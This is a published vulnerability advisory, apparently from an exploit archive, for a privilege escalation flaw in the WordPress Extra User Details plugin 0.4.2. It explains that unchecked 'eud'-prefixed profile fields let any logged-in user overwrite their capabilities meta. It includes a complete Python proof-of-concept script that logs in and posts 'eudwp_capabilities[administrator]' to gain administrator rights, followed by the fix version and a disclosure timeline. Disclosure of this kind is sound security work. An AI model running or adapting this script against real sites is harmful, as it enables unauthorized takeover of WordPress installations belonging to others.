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WordPress Extra User Details 0.4.2 Privilege Escalation

WordPress Extra User Details 0.4.2 Privilege Escalation
Posted Feb 24, 2016
Authored by panVagenas

WordPress Extra User Details plugin version 0.4.2 suffers from a privilege escalation vulnerability.

tags | exploit
MD5 | fbaea9a3905e58ac3dbb3d68b7e8bb65

WordPress Extra User Details 0.4.2 Privilege Escalation

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"""
* Exploit Title: Extra User Details [Privilege Escalation]
* Discovery Date: 2016-02-13
* Exploit Author: Panagiotis Vagenas
* Author Link: https://twitter.com/panVagenas
* Vendor Homepage: http://vadimk.com/
* Software Link: https://wordpress.org/plugins/extra-user-details/
* Version: 0.4.2
* Tested on: WordPress 4.4.2
* Category: WebApps, WordPress


Description
-----------

_Extra User Details_ plugin for WordPress suffers from a Privilege
Escalation
vulnerability.

The plugin hooks the `eud_update_ExtraFields` function to `profile_update`
WordPress action. This function doesn't properly check user capabilities
and
updates all meta information passed to post data. The only condition is
that
the post variable name has the `eud` prefix which is striped before
updating
the values in DB.

An attacker can exploit this misbehavior to update the
{prefix}\_capabilities
meta information to gain administrative privileges.

PoC
---

In the following PoC we assume that the database has the `wp` prefix, a
very
common scenario as this is the default WordPress value

"""
# !/usr/bin/python3

################################################################################
# Extra User Details Privilege Escalation Exploit
#
# Author: Panagiotis Vagenas <pan.vagenas>
#
# Dependencies: BeautifulSoup
(http://www.crummy.com/software/BeautifulSoup/)
################################################################################

import requests
from bs4 import BeautifulSoup

baseUrl = 'http://example.com'
loginUrl = baseUrl + '/wp-login.php'
profileUrl = baseUrl + '/wp-admin/profile.php'

loginPostData = {
'log': 'username',
'pwd': 'password',
'rememberme': 'forever',
'wp-submit': 'Log+In'
}

s = requests.Session()

r = s.post(loginUrl, loginPostData)

if r.status_code != 200:
print('Login error')
exit(1)

r = s.get(profileUrl)
soup = BeautifulSoup(r.text, 'html.parser')

f = soup.find('form', {'id': 'your-profile'})
if not f:
print('Error')
exit(1)

data = {
'eudwp_capabilities[administrator]': 1,
}

for i in f.find_all('input'):
if 'name' in i.attrs and 'value' in i.attrs and i.attrs['value']:
data[i.attrs['name']] = i.attrs['value']

r = s.post(profileUrl, data)

if r.status_code == 200:
print('Success')

exit(0)

"""

Solution
--------

Upgrade to v0.4.2.1

Timeline
--------

1. **2016-02-13**: Vendor notified through wordpress.org support forums
2. **2016-02-13**: Vendor notified through through the contact form in
his website
3. **2016-02-13**: Vendor responded and received details about this issue
4. **2016-02-15**: Vendor released v0.4.2.1 which resolves this issue

"""

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